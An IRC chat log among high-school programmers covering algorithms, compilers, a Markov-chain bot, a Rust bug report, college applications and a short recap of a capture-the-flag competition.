[2014-12-20T12:32:04-0500] <@awe> Well, longest unique path.
[2014-12-20T12:32:19-0500] <@awe> You can't go in a circle, or revisit anywhere.
[2014-12-20T12:32:57-0500] <+JacobEdelman> https://en.wikipedia.org/wiki/Longest_path_problem#Approximation
[2014-12-20T12:33:11-0500] <+JacobEdelman> approximation is algo
[2014-12-20T12:33:15-0500] <+JacobEdelman> ben studied it for a year
[2014-12-20T12:33:20-0500] <+JacobEdelman> *summer
[2014-12-20T12:33:24-0500] <+JacobEdelman> in our summer program
[2014-12-20T12:33:33-0500] <@awe> It's a piss poor approximation though.
[2014-12-20T12:35:14-0500] <+JacobEdelman> well
[2014-12-20T12:35:18-0500] <+JacobEdelman> youre not gonna do better
[2014-12-20T12:35:22-0500] <+JacobEdelman> not significantly
[2014-12-20T12:37:53-0500] <@awe> JacobEdelman: https://github.com/logicchains/LPATHBench/issues/20
[2014-12-20T12:38:07-0500] <@awe> You can calculate the exact number slower.
[2014-12-20T12:38:10-0500] <@awe> Which is what this is.
[2014-12-20T12:53:28-0500] <+JacobEdelman> still
[2014-12-20T12:53:34-0500] <+JacobEdelman> not significantly faster in any language
[2014-12-20T12:53:40-0500] <+JacobEdelman> unless you are using algo
[2014-12-20T12:54:32-0500] <@awe> But the point was that D was the closest to C.
[2014-12-20T12:54:38-0500] <@awe> and that Rust was 200ms slower than D.
[2014-12-20T12:55:42-0500] <+JacobEdelman> (actually being a decision problem doesn't influence whether or not a problem is np-hard or np-complete
[2014-12-20T12:58:48-0500] <@awe> Wikipedia says exactly that.
[2014-12-20T12:59:23-0500] <@awe> "It is not NP-complete, because it is not a decision problem."
[2014-12-20T13:02:58-0500] <+JacobEdelman> I'm 85% sure thats false
[2014-12-20T13:03:13-0500] <+JacobEdelman> I'll check with ben in a bit
[2014-12-20T13:03:17-0500] <+JacobEdelman> gtg
[2014-12-20T13:06:15-0500] <Hyper> also a thing my friend wrote because I convinced him to topped r/programming (and was posted by a random stranger, no less! :D)
[2014-12-20T13:06:16-0500] <Hyper> http://benkurtovic.com/2014/06/01/obfuscating-hello-world.html
[2014-12-20T13:06:42-0500] <Hyper> Therefore I topped r/programming by proxy.
[2014-12-20T13:07:44-0500] <@awe> I topped /r/thomasthedankengine
[2014-12-20T13:07:45-0500] <@awe> all-time topped.
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[2014-12-20T13:08:04-0500] <Hyper> gj
[2014-12-20T13:09:07-0500] <@awe> That's where I got all my karma from.
[2014-12-20T13:09:32-0500] <Hyper> heh
[2014-12-20T13:09:47-0500] <Hyper> keep in mind that the LPATH thing is using ldc instead of dmd
[2014-12-20T13:09:57-0500] <Hyper> (ldc is the llvm-backed d compiler)
[2014-12-20T13:10:07-0500] <Hyper> which means we're getting a lot of free optimization
[2014-12-20T13:11:57-0500] <Hyper> dmd is fast as fuck though
[2014-12-20T13:13:49-0500] <@awe> ldc is faster though. :p
[2014-12-20T13:14:08-0500] <@awe> Rust is also LLVM-backed though.
[2014-12-20T13:14:43-0500] <Hyper> ldc generates faster code
[2014-12-20T13:14:58-0500] <@awe> Than dmd or than Rust?
[2014-12-20T13:15:02-0500] <Hyper> than dmd
[2014-12-20T13:15:07-0500] <@awe> Yeah.
[2014-12-20T13:15:09-0500] <@awe> That's to be expected.
[2014-12-20T13:15:13-0500] <@awe> Why don't people use ldc then?
[2014-12-20T13:15:16-0500] <Hyper> but my impression is that dmd is much, much faster to compile
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[2014-12-20T13:15:31-0500] <@awe> Ah.
[2014-12-20T13:15:37-0500] <Hyper> dmd is also the "official" compiler
[2014-12-20T13:16:12-0500] <@awe> I'm still waiting for the day that we figure out the right LLVM optimization passes for Haskell.
[2014-12-20T13:16:30-0500] <@awe> In specific cases, people have gotten insane speed-ups by playing with the optimization passes.
[2014-12-20T13:24:23-0500] <@awe> So, I still have a bot running in my other IRC from my IRC library that I wrote in Java.
[2014-12-20T13:24:41-0500] <@awe> It's been running for over a year (not continuously because it's running on Heroku and thus gets restarted every so often)
[2014-12-20T13:24:47-0500] <@awe> (because it's a free account)
[2014-12-20T14:00:42-0500] <+JacobEdelman> awe: I was wrong
[2014-12-20T14:00:47-0500] <+JacobEdelman> awe: you were right
[2014-12-20T14:00:57-0500] <+JacobEdelman> awe: about the np thing
[2014-12-20T14:05:18-0500] <@awe> I know.
[2014-12-20T15:07:05-0500] <alokpathy> Oh, you can find longest paths in certain graphs, particularly acyclic. 
[2014-12-20T15:08:40-0500] <@awe> Yeah.
[2014-12-20T15:24:15-0500] <+ubuntor> that was fun
[2014-12-20T15:24:39-0500] <alokpathy> ubuntor: What was?
[2014-12-20T15:25:31-0500] <+ubuntor> ructfe
[2014-12-20T15:31:14-0500] <alokpathy> Oh dang
[2014-12-20T15:35:06-0500] <bob_twinkles> we barely solved anything, but I think not bad for a first A/D CTF =P
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[2014-12-20T15:08:40-0500] <@awe> Yeah.
[2014-12-20T15:24:15-0500] <+ubuntor> that was fun
[2014-12-20T15:24:39-0500] <alokpathy> ubuntor: What was?
[2014-12-20T15:25:31-0500] <+ubuntor> ructfe
[2014-12-20T15:31:14-0500] <alokpathy> Oh dang
[2014-12-20T15:35:06-0500] <bob_twinkles> we barely solved anything, but I think not bad for a first A/D CTF =P
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[2014-12-20T17:10:59-0500] <@awe> @markov
[2014-12-20T17:11:06-0500] <+awebot> awe: but it could have a small rename you have been to this chan in two different match on the result of incomprehensible code :).
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[2014-12-20T17:10:59-0500] <@awe> @markov
[2014-12-20T17:11:06-0500] <+awebot> awe: but it could have a small rename you have been to this chan in two different match on the result of incomprehensible code :).
[2014-12-20T17:11:55-0500] <alokpathy> @markov ctf
[2014-12-20T17:12:22-0500] <+awebot> alokpathy: ctf.
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[2014-12-20T17:12:50-0500] <+awebot> alokpathy: pico irc client.
[2014-12-20T17:12:59-0500] <alokpathy> @markov csaw
[2014-12-20T17:13:06-0500] <+awebot> alokpathy: csaw.
[2014-12-20T17:14:05-0500] <alokpathy> @markov usaco
[2014-12-20T17:14:12-0500] <+awebot> alokpathy: usaco practice rek'sai too old PhD.
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[2014-12-20T17:10:59-0500] <@awe> @markov
[2014-12-20T17:11:06-0500] <+awebot> awe: but it could have a small rename you have been to this chan in two different match on the result of incomprehensible code :).
[2014-12-20T17:11:55-0500] <alokpathy> @markov ctf
[2014-12-20T17:12:22-0500] <+awebot> alokpathy: ctf.
[2014-12-20T17:12:43-0500] <alokpathy> @markov pico
[2014-12-20T17:12:50-0500] <+awebot> alokpathy: pico irc client.
[2014-12-20T17:12:59-0500] <alokpathy> @markov csaw
[2014-12-20T17:13:06-0500] <+awebot> alokpathy: csaw.
[2014-12-20T17:14:05-0500] <alokpathy> @markov usaco
[2014-12-20T17:14:12-0500] <+awebot> alokpathy: usaco practice rek'sai too old PhD.
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[2014-12-20T17:25:25-0500] <@awe> hi
[2014-12-20T17:25:29-0500] <@awe> That's freaky.
[2014-12-20T17:25:36-0500] <@awe> I turned off my internet connection for several minutes.
[2014-12-20T17:25:42-0500] <@awe> And awebot is still connected.
[2014-12-20T17:25:43-0500] <@awe> @markov
[2014-12-20T17:25:50-0500] <+awebot> awe: They started programming devs that the values shared, not stay in a short.
[2014-12-20T17:25:58-0500] <alokpathy> Wow
[2014-12-20T17:26:17-0500] <alokpathy> What if awebot isn't actually a bot? :o
[2014-12-20T17:26:22-0500] <@awe> Lol.
[2014-12-20T17:26:24-0500] <alokpathy> Conspiracy.
[2014-12-20T17:26:27-0500] <@awe> Sentience attained.
[2014-12-20T17:28:29-0500] <nezorg> LittleBobbyTables: what's your steam id?
[2014-12-20T17:30:30-0500] <@awe> LittleBobbyTables: and where's my copy of Starbound? ;)
[2014-12-20T17:31:51-0500] <nezorg> actually, what're all your steam ids?
[2014-12-20T17:32:26-0500] <alokpathy> Mine's nonexistent. 
[2014-12-20T17:35:31-0500] <@awe> nezorg: link on https://aaronweiss.us/
[2014-12-20T17:35:38-0500] <@awe> Nevermind.
[2014-12-20T17:35:40-0500] <@awe> No there isn't.
[2014-12-20T17:36:06-0500] <@awe> nezorg: http://steamcommunity.com/id/aaronweiss74
[2014-12-20T17:37:43-0500] <alokpathy> Lol there's an FP Programmers group on Steam?
[2014-12-20T17:37:45-0500] <alokpathy> Is that normal?
[2014-12-20T17:38:15-0500] <alokpathy> "I dance dance dance and I dance dance dance. "
[2014-12-20T17:38:18-0500] <alokpathy> Beautiful :')
[2014-12-20T17:46:30-0500] <+LittleBobbyTables> nezorg: cptnXn
[2014-12-20T17:46:39-0500] <+LittleBobbyTables> why, you wanna dota?
[2014-12-20T17:49:15-0500] <+JacobEdelman> @markov  Sentience
[2014-12-20T17:49:22-0500] <+awebot> JacobEdelman: That seed is unknown.
[2014-12-20T17:49:28-0500] <+JacobEdelman> @markov Sentience
[2014-12-20T17:49:35-0500] <+awebot> JacobEdelman: Sentience attained sentience..
[2014-12-20T17:49:37-0500] <+LittleBobbyTables> too late i started a game
[2014-12-20T17:49:38-0500] <+JacobEdelman> @markov sentience
[2014-12-20T17:49:45-0500] <+awebot> JacobEdelman: sentience and sum of such a bot.
[2014-12-20T17:50:47-0500] <+LittleBobbyTables> omg someone recognized me in dota
[2014-12-20T17:50:51-0500] <+LittleBobbyTables> "cptnXn are you the osu player"
[2014-12-20T17:51:04-0500] <alokpathy> LittleBobbyTables: You're famous :D
[2014-12-20T17:51:34-0500] <@awe> LittleBobbyTables: lol
[2014-12-20T17:53:28-0500] <+LittleBobbyTables> ^_^
[2014-12-20T17:56:21-0500] <+ubuntor> @markov rekt
[2014-12-20T17:56:29-0500] <+awebot> ubuntor: rekt.
[2014-12-20T17:56:46-0500] <+ubuntor> @markov nop
[2014-12-20T17:56:55-0500] <+awebot> ubuntor: nop.
[2014-12-20T17:58:29-0500] <nezorg> LittleBobbyTables: I think I sent a request to the right one
[2014-12-20T17:58:39-0500] <nezorg> looks like you accepted it
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[2014-12-20T18:44:41-0500] <+LittleBobbyTables> epp
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[2014-12-20T17:51:34-0500] <@awe> LittleBobbyTables: lol
[2014-12-20T17:53:28-0500] <+LittleBobbyTables> ^_^
[2014-12-20T17:56:21-0500] <+ubuntor> @markov rekt
[2014-12-20T17:56:29-0500] <+awebot> ubuntor: rekt.
[2014-12-20T17:56:46-0500] <+ubuntor> @markov nop
[2014-12-20T17:56:55-0500] <+awebot> ubuntor: nop.
[2014-12-20T17:58:29-0500] <nezorg> LittleBobbyTables: I think I sent a request to the right one
[2014-12-20T17:58:39-0500] <nezorg> looks like you accepted it
[2014-12-20T18:44:41-0500] <+LittleBobbyTables> epp
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[2014-12-20T17:51:34-0500] <@awe> LittleBobbyTables: lol
[2014-12-20T17:53:28-0500] <+LittleBobbyTables> ^_^
[2014-12-20T17:56:21-0500] <+ubuntor> @markov rekt
[2014-12-20T17:56:29-0500] <+awebot> ubuntor: rekt.
[2014-12-20T17:56:46-0500] <+ubuntor> @markov nop
[2014-12-20T17:56:55-0500] <+awebot> ubuntor: nop.
[2014-12-20T17:58:29-0500] <nezorg> LittleBobbyTables: I think I sent a request to the right one
[2014-12-20T17:58:39-0500] <nezorg> looks like you accepted it
[2014-12-20T18:44:41-0500] <+LittleBobbyTables> epp
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[2014-12-20T17:51:34-0500] <@awe> LittleBobbyTables: lol
[2014-12-20T17:53:28-0500] <+LittleBobbyTables> ^_^
[2014-12-20T17:56:21-0500] <+ubuntor> @markov rekt
[2014-12-20T17:56:29-0500] <awebot> ubuntor: rekt.
[2014-12-20T17:56:46-0500] <+ubuntor> @markov nop
[2014-12-20T17:56:55-0500] <awebot> ubuntor: nop.
[2014-12-20T17:58:29-0500] <nezorg> LittleBobbyTables: I think I sent a request to the right one
[2014-12-20T17:58:39-0500] <nezorg> looks like you accepted it
[2014-12-20T18:44:41-0500] <+LittleBobbyTables> epp
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[2014-12-20T19:32:33-0500] <alokpathy> Welcome back jwoglom 
[2014-12-20T19:33:43-0500] <@awe> hi jwoglom 
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[2014-12-20T19:33:43-0500] <@awe> hi jwoglom 
[2014-12-20T19:39:07-0500] <jwoglom> hiya
[2014-12-20T19:39:23-0500] <jwoglom> server got unplugged somehow, oops
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[2014-12-20T19:33:43-0500] <@awe> hi jwoglom 
[2014-12-20T19:39:07-0500] <jwoglom> hiya
[2014-12-20T19:39:23-0500] <jwoglom> server got unplugged somehow, oops
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[2014-12-20T20:13:58-0500] <Tamini_> @markov
[2014-12-20T20:14:10-0500] <Tamini_> aww, no bot
[2014-12-20T20:14:20-0500] alokpathy is now known as awebot
[2014-12-20T20:14:35-0500] <awebot> Tamini_: Hakuna matata 
[2014-12-20T20:14:57-0500] <Tamini_> i love you, awebot
[2014-12-20T20:15:20-0500] <awebot> Tamini_: I love me too <3
[2014-12-20T20:15:47-0500] <Tamini_> LOL
[2014-12-20T20:15:55-0500] <awebot> awe: I'm proud to announce that I have reached 100% sentience. 
[2014-12-20T20:16:03-0500] <Tamini_> awebot: how do you feel about alokpathy? is he a loser?
[2014-12-20T20:16:12-0500] <awebot> Tamini_: alokpathy is amazing.
[2014-12-20T20:16:19-0500] <Tamini_> awebot: i disagree
[2014-12-20T20:16:29-0500] <awebot> Tamini_: He's the perfect human being.
[2014-12-20T20:16:29-0500] <hardmath123> So my parents wanted to throw out my old keyboard. That made me sad. So I spent the day hooking it up to my computer and doing cool projects with it.
[2014-12-20T20:16:34-0500] <awebot> Everybody should strive to be alokpathy.
[2014-12-20T20:16:41-0500] hardmath123 is now known as alokpathy
[2014-12-20T20:16:46-0500] <alokpathy> Do I win at life?
[2014-12-20T20:17:07-0500] <awebot> alokpathy: You are an imposter.
[2014-12-20T20:17:15-0500] <Tamini_> lol
[2014-12-20T20:17:37-0500] <@awe> alokpathy: lol
[2014-12-20T20:17:39-0500] <@awe> alokpathy: nice work.
[2014-12-20T20:17:40-0500] <awebot> alokpathy: I thought the real alokpathy registered that nick.
[2014-12-20T20:18:09-0500] <alokpathy> the *real* alokpathy would have stolen hardmath123's nick by now. ergo you're *also* an imposter.
[2014-12-20T20:18:23-0500] <@awe> Stay on awebot.
[2014-12-20T20:18:57-0500] <awebot> alokpathy: I never said I was the real alokpathy, because I'm not.
[2014-12-20T20:19:00-0500] <awebot> alokpathy: I'm awebot.
[2014-12-20T20:19:07-0500] <awebot> alokpathy: The real alokpathy is busy working hard on college apps.
[2014-12-20T20:19:50-0500] <Tamini_> awebot: how far is alokpathy on college apps?
[2014-12-20T20:20:10-0500] <awebot> Tamini_: Let me ask.
[2014-12-20T20:20:20-0500] <awebot> Tamini_: He has 4 left.
[2014-12-20T20:20:55-0500] <Tamini_> awebot: how long will that take him?
[2014-12-20T20:21:00-0500] <Tamini_> aka can we set up arch
[2014-12-20T20:21:49-0500] <awebot> Tamini_: He hopes to finish soon, but he is not sure when he'll finish.
[2014-12-20T20:21:59-0500] <awebot> Tamini_: An upper bound is Jan. 2nd.
[2014-12-20T20:23:06-0500] <Tamini_> is that when they're due?
[2014-12-20T20:23:11-0500] <Tamini_> can he finish by christmas?
[2014-12-20T20:23:49-0500] <awebot> Tamini_: That's when his latest app is due. 
[2014-12-20T20:24:02-0500] <awebot> Tamini_: It might happen if he spends a lot of time on them.
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[2014-12-20T20:24:26-0500] <awebot> awebot_: Who're you?
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[2014-12-20T20:24:41-0500] <awebot> Yeah, that's right.
[2014-12-20T20:24:42-0500] <awebot> Be afraid.
[2014-12-20T20:25:07-0500] <Tamini_> awebot: can you do that for me? :(
[2014-12-20T20:26:07-0500] <Tamini_> awebot: i want you to suffer with me
[2014-12-20T20:26:17-0500] <Tamini_> also i'm considering not doing arml this year; thoughts?
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[2014-12-20T20:27:37-0500] <@awe> Dammit.
[2014-12-20T20:28:03-0500] <awebot> awebot: I can ask him to finish sooner, yeah. I don't have control over how fast he works, though.
[2014-12-20T20:28:08-0500] <awebot> oops
[2014-12-20T20:28:17-0500] <awebot> Tamini_:  I can ask him to finish sooner, yeah. I don't have control over how fast he works, though.
[2014-12-20T20:28:24-0500] <awebot> Tamini_: Also, why?
[2014-12-20T20:28:46-0500] <Tamini_> it kills 6 hours per week.
[2014-12-20T20:28:53-0500] <awebot> .......
[2014-12-20T20:28:54-0500] <awebot> how?
[2014-12-20T20:29:01-0500] <Tamini_> it's not quite worth it imo
[2014-12-20T20:29:09-0500] <Tamini_> also it coincides with a lot of things
[2014-12-20T20:29:11-0500] <awebot> Oh, I read that as "day" instead of "week."
[2014-12-20T20:29:14-0500] <Tamini_> LOL
[2014-12-20T20:29:21-0500] <Tamini_> 6 hours on a thursday.
[2014-12-20T20:29:31-0500] <awebot> Oh dang.
[2014-12-20T20:29:33-0500] <awebot> Intense.
[2014-12-20T20:29:38-0500] <Tamini_> well 4-6 is like
[2014-12-20T20:29:40-0500] <Tamini_> free time
[2014-12-20T20:29:45-0500] <Tamini_> 6-9 practice but
[2014-12-20T20:29:51-0500] <Tamini_> a lot of it seems like a waste of time
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[2014-12-20T20:31:27-0500] <awebot> Oh, darn.'
[2014-12-20T20:31:33-0500] <awebot> But I might be going to ARML this year.
[2014-12-20T20:31:34-0500] <awebot> :|
[2014-12-20T20:31:50-0500] <Tamini_> do you just wanna not go with me <3
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[2014-12-20T20:32:16-0500] <awebot> Idk maybe.
[2014-12-20T20:32:19-0500] <awebot> I can befriend South people
[2014-12-20T20:32:27-0500] <awebot> and then subsequently not see them again.
[2014-12-20T20:32:49-0500] <awebot> Unless we go to the same college.
[2014-12-20T20:34:10-0500] <Tamini_> lol
[2014-12-20T20:34:21-0500] <Tamini_> idk like
[2014-12-20T20:34:28-0500] <Tamini_> no one worth seeing that i dont see anyway
[2014-12-20T20:34:32-0500] <Tamini_> :/
[2014-12-20T20:34:47-0500] <awebot> You don't see me .-.
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[2014-12-20T20:35:35-0500] <awebot> awebot_: Calm yourself.
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[2014-12-20T20:35:44-0500] <awebot> oops
[2014-12-20T20:35:48-0500] <awebot> I think I broke it.
[2014-12-20T20:35:56-0500] <Tamini_> awebot: i see you all the time.
[2014-12-20T20:36:00-0500] <Tamini_> :P
[2014-12-20T20:36:08-0500] <Tamini_> i'll see you at hmmt, for one.
[2014-12-20T20:36:13-0500] <awebot> Tamini_: Like a few times a year XD
[2014-12-20T20:36:37-0500] <Tamini_> heh, but thats one less time
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[2014-12-20T20:36:51-0500] <@awe> Boom.
[2014-12-20T20:36:54-0500] <Tamini_> and its not like we'd be able to hang out all year at arml anyway right
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[2014-12-20T20:37:02-0500] <@awe> :)
[2014-12-20T20:37:08-0500] <Tamini_> lol
[2014-12-20T20:37:08-0500] <awebot_> :(
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[2014-12-20T20:37:14-0500] <Tamini_> i said:
[2014-12-20T20:37:24-0500] <Tamini_> and its not like we'd be able to hang out all day at arml anyway right
[2014-12-20T20:37:36-0500] <alokpathy> I guess, yeah
[2014-12-20T20:38:08-0500] <Tamini_> just skip with me :P
[2014-12-20T20:38:16-0500] <Tamini_> wait is your jprom and prom separate
[2014-12-20T20:38:30-0500] <@awe> Nobody can squat on awebot now. <3
[2014-12-20T20:38:31-0500] <Tamini_> bc i was going to be like "get alan to take me to prom and ill see you"
[2014-12-20T20:41:13-0500] <@awe> crash
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[2014-12-20T20:41:42-0500] <@awe> crash
[2014-12-20T20:42:39-0500] <Tamini_> alokpathy: how does your arml schedule even work
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[2014-12-20T20:43:12-0500] <+JacobEdelman> I have rearived
[2014-12-20T20:43:13-0500] <alokpathy> Tamini_: jprom and prom are separate, yeah
[2014-12-20T20:43:20-0500] <alokpathy> Tamini_: No idea. Never been to it.
[2014-12-20T20:43:42-0500] <Tamini_> you make it so difficult for me :(
[2014-12-20T20:43:45-0500] <Tamini_> y u no come last year
[2014-12-20T20:43:48-0500] <alokpathy> :|
[2014-12-20T20:43:54-0500] <alokpathy> because I forgot to go to the tryout
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[2014-12-20T20:44:44-0500] <@awe> for the record, the second time I said crash
[2014-12-20T20:44:46-0500] <@awe> he did crash.
[2014-12-20T20:44:48-0500] <@awe> It was just in a debugger.
[2014-12-20T20:44:53-0500] <@awe> So, the connection was technically still open.
[2014-12-20T20:45:08-0500] <@awe> JacobEdelman: take awebot's nickname.
[2014-12-20T20:45:13-0500] <Tamini_> alokpathy: y u derp.
[2014-12-20T20:45:25-0500] <alokpathy> Tamini_: Omg at our summer program
[2014-12-20T20:45:35-0500] <alokpathy> we kept track of the total number of derps every made
[2014-12-20T20:45:54-0500] <alokpathy> I accounted for like 40% of all derps when there were 15 people.
[2014-12-20T20:46:57-0500] <alokpathy> This one time we were playing Resistance, I forgot I was a spy.
[2014-12-20T20:47:15-0500] <alokpathy> We still won though because Merlin was so confused it was clear he was Merlin.
[2014-12-20T20:47:37-0500] <alokpathy> Everybody was like "Wow this is such an easy game."
[2014-12-20T20:47:42-0500] <alokpathy> and Merlin was like "wtf is going on"
[2014-12-20T20:48:03-0500] <Tamini_> LOL
[2014-12-20T20:48:13-0500] <Tamini_> Whats merlin again
[2014-12-20T20:48:22-0500] <alokpathy> Guy who knows who the spies are
[2014-12-20T20:48:39-0500] <alokpathy> is a resistance member.
[2014-12-20T20:49:50-0500] <Tamini_> ohh lol
[2014-12-20T20:49:57-0500] <Tamini_> wait why cant he just out as merlin
[2014-12-20T20:50:03-0500] <Tamini_> and split between merlin claims
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[2014-12-20T20:50:16-0500] <alokpathy> If Resistance wins the game and spies guess who Merlin is at the end, spies win.
[2014-12-20T20:50:19-0500] <+awebot> why did I do this?
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[2014-12-20T20:50:29-0500] <alokpathy> awebot: Heheheh
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[2014-12-20T20:50:44-0500] <@awe> That's why you did this.
[2014-12-20T20:50:45-0500] <JacobEdelman> oh, thats why
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[2014-12-20T20:51:11-0500] <+JacobEdelman> I am now back
[2014-12-20T20:51:14-0500] <+JacobEdelman> also
[2014-12-20T20:51:28-0500] <+JacobEdelman> LittleBobbyTables: you are very good at osu, based off your youtube videos
[2014-12-20T20:51:49-0500] <+JacobEdelman> also, does RSI mean anything to you ? :P
[2014-12-20T20:51:51-0500] <alokpathy> JacobEdelman: And his ranking.
[2014-12-20T20:51:56-0500] <+JacobEdelman> what is it?
[2014-12-20T20:52:03-0500] <alokpathy> JacobEdelman: Like 12th I think
[2014-12-20T20:52:08-0500] <alokpathy> JacobEdelman: Also, RSI is mad hard to get into.
[2014-12-20T20:52:23-0500] <alokpathy> They rejected Ernest and Shao.
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[2014-12-20T20:52:37-0500] <+JacobEdelman> ... I meant repetitive stress injury
[2014-12-20T20:52:44-0500] <+JacobEdelman> I don't know what you mean by RSI
[2014-12-20T20:52:57-0500] <alokpathy> Oh, I meant Research Summer Institute
[2014-12-20T20:53:08-0500] <alokpathy> Science*
[2014-12-20T20:53:17-0500] <+JacobEdelman> LittleBobbyTables: why are you listed as in Germany?
[2014-12-20T21:09:16-0500] <+LittleBobbyTables> Because I am
[2014-12-20T21:09:22-0500] <@awe> I'm pretty sure I found a bug in Rust's dynamic library support.
[2014-12-20T21:09:46-0500] <alokpathy> :o
[2014-12-20T21:10:11-0500] <@awe> There's a specific function in the runtime that when called from a dynamic library yields fatal runtime error:  assertion failed: queue != 0
[2014-12-20T21:28:41-0500] <Tamini_> JacobEdelman: wanna write rsi with me
[2014-12-20T21:28:56-0500] <alokpathy> Tamini_: o you're applyhing?
[2014-12-20T21:29:14-0500] <Tamini_> alokpathy: yeah but
[2014-12-20T21:29:20-0500] <Tamini_> i dont understand my project proposal yet
[2014-12-20T21:29:21-0500] <Tamini_> Lol
[2014-12-20T21:29:34-0500] <alokpathy> Wait how does applying to RSI work?
[2014-12-20T21:29:47-0500] <Tamini_> you write about a project idea and stuff
[2014-12-20T21:29:57-0500] <alokpathy> Oh hm
[2014-12-20T21:29:59-0500] <Tamini_> its mad hard
[2014-12-20T21:30:06-0500] <alokpathy> Yeah, I can imagine.
[2014-12-20T21:32:50-0500] <Tamini_> wanna have writing sessions <3
[2014-12-20T21:32:59-0500] <Tamini_> i write summer apps you write college apps
[2014-12-20T21:33:03-0500] <Tamini_> we provide moral support
[2014-12-20T21:33:08-0500] <alokpathy> I'm writing right now :P
[2014-12-20T21:44:11-0500] <Tamini_> im at math
[2014-12-20T21:44:21-0500] <Tamini_> and i planned to skyrim all night after i got home but
[2014-12-20T21:44:25-0500] <Tamini_> maybe tmr :P
[2014-12-20T21:45:35-0500] <alokpathy> Wow you guys have a math meeting at 9:45pm?
[2014-12-20T21:50:50-0500] <Tamini_> well
[2014-12-20T21:50:57-0500] <Tamini_> private math class until 1am
[2014-12-20T21:51:01-0500] <Tamini_> we just went on a class walk
[2014-12-20T21:51:51-0500] <nezorg> ...math class until 1am?
[2014-12-20T21:51:53-0500] <nezorg> sounds fun
[2014-12-20T21:51:56-0500] <@awe> nezorg: https://github.com/rust-lang/rust/issues/20094
[2014-12-20T21:51:59-0500] <@awe> nezorg: .-.
[2014-12-20T21:51:59-0500] <nezorg> betcha don't get to go to freebirds though
[2014-12-20T21:52:54-0500] <nezorg> awe: liblib.dylib, lol
[2014-12-20T21:53:15-0500] <nezorg> awe: I don't see any use of at_exit_impl in that lib hough
[2014-12-20T21:53:17-0500] <nezorg> *though
[2014-12-20T21:53:30-0500] <@awe> Look at the backtrace.
[2014-12-20T21:53:37-0500] <@awe>     frame #2: 0x000000010039cd0e liblib.dylib`at_exit_imp::push::hb6640ed5b53b1979pca + 606
[2014-12-20T21:53:37-0500] <@awe>     frame #3: 0x0000000100354516 liblib.dylib`io::timer::Timer::new::hbb817820b4539044MTg + 1702
[2014-12-20T21:53:37-0500] <@awe>     frame #4: 0x0000000100353961 liblib.dylib`io::timer::sleep::h01e98bc9d1a92f64mTg + 81
[2014-12-20T21:53:57-0500] <@awe> timer::sleep(...) creates a new Timer and in doing so, it calls at_exit_impl::push.
[2014-12-20T22:00:18-0500] <alokpathy> :new
[2014-12-20T22:00:21-0500] <alokpathy> 🆕
[2014-12-20T22:00:22-0500] <alokpathy> heh
[2014-12-20T22:03:05-0500] <alokpathy> http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=690b0543a813b0ecfc51b0374c0ce6c8275435f0
[2014-12-20T22:05:00-0500] <@awe> alokpathy: aww, his daughter made a commit.
[2014-12-20T22:05:06-0500] <@awe> alokpathy: that's cute.
[2014-12-20T22:06:18-0500] <alokpathy> :)
[2014-12-20T22:09:27-0500] <alokpathy> Lol JacobEdelman a four-year-old made a "contribution" similar to yours :P
[2014-12-20T22:11:00-0500] <@awe> Yup.
[2014-12-20T22:16:24-0500] <Tamini_> awh
[2014-12-20T22:17:22-0500] <alokpathy> Darn I wanted to get a Colbert Report coffee mug
[2014-12-20T22:17:25-0500] <alokpathy> but they're out of stock.
[2014-12-20T22:29:44-0500] <Tamini_> aww
[2014-12-20T22:33:46-0500] <Tamini_> who has free time
[2014-12-20T22:33:49-0500] <bob_twinkles> nobody
[2014-12-20T22:33:56-0500] <bob_twinkles> no such thing
[2014-12-20T22:33:59-0500] <Tamini_> we all want things, giftexchange
[2014-12-20T22:34:05-0500] <Tamini_> bob_twinkles: oh shush you
[2014-12-20T22:34:08-0500] <Tamini_> did you have fun?
[2014-12-20T22:34:12-0500] <@awe> bob_twinkles: give me your soul
[2014-12-20T22:34:20-0500] <bob_twinkles> awe: no
[2014-12-20T22:34:22-0500] <bob_twinkles> tamini: yes
[2014-12-20T22:34:24-0500] <@awe> bob_twinkles: pls?
[2014-12-20T22:34:27-0500] <Tamini_> i asked sdamasam how it went and he gave me half a response and bailed on me
[2014-12-20T22:34:31-0500] <Tamini_> how was it
[2014-12-20T22:34:34-0500] <bob_twinkles> awe: well how much $ are you willing to pay
[2014-12-20T22:34:39-0500] <Tamini_> specifics-wise
[2014-12-20T22:34:39-0500] <bob_twinkles> it was a lot of fun
[2014-12-20T22:34:42-0500] <@awe> NotAPharynx: it's the weekend, are you free?
[2014-12-20T22:34:43-0500] <bob_twinkles> we learned a lot
[2014-12-20T22:34:49-0500] <@awe> Tamini_: I'm willing to pay a nickle.
[2014-12-20T22:34:51-0500] <@awe> erm
[2014-12-20T22:34:53-0500] <@awe> bob_twinkles: a nickle.
[2014-12-20T22:34:55-0500] <bob_twinkles> 1) set up the networking/vms more than a day before
[2014-12-20T22:34:56-0500] <Tamini_> :P
[2014-12-20T22:34:58-0500] <@awe> nickel 
[2014-12-20T22:35:00-0500] <@awe> whatever.
[2014-12-20T22:35:01-0500] <Tamini_> lol
[2014-12-20T22:35:13-0500] <bob_twinkles> awe: increase by orders of magnitude and I'll think about it
[2014-12-20T22:35:23-0500] <@awe> bob_twinkles: 50 cents
[2014-12-20T22:35:35-0500] <bob_twinkles> 2) exploit infrastructure is really helpful, we should probably have had that
[2014-12-20T22:35:41-0500] <bob_twinkles> 3) monitoring infrastructure "
[2014-12-20T22:35:45-0500] <Tamini_> ooh
[2014-12-20T22:35:59-0500] <Tamini_> sammy said you guys were making do tho :P
[2014-12-20T22:36:05-0500] <bob_twinkles> yeah
[2014-12-20T22:36:20-0500] <bob_twinkles> but it would have been nice to be able to just write some python and throw it on a dedicated exploit box
[2014-12-20T22:36:31-0500] <bob_twinkles> if only for the "I'm a badass now" factor
[2014-12-20T22:37:05-0500] <Tamini_> haha
[2014-12-20T22:37:18-0500] <Tamini_> you guys still did well tho, congratz!
[2014-12-20T22:37:18-0500] <bob_twinkles> 4) is a bad time to start a CTF
[2014-12-20T22:37:25-0500] <Tamini_> did you do fun stuff after?
[2014-12-20T22:37:48-0500] <bob_twinkles> 5) reverse engineering other people's exploits is totally a valid strategy
[2014-12-20T22:38:09-0500] <bob_twinkles> kinda, we got lunch at the mall but everyone was pretty out of it after getting < 5 hours of sleep
[2014-12-20T22:38:27-0500] <bob_twinkles> sdamashek actually got _less_ sleep than I did which was impressive
[2014-12-20T22:38:37-0500] <Tamini_> ah, lol
[2014-12-20T22:38:40-0500] <Tamini_> yeah sam was up late
[2014-12-20T22:38:45-0500] <Tamini_> asking ahamilto for help
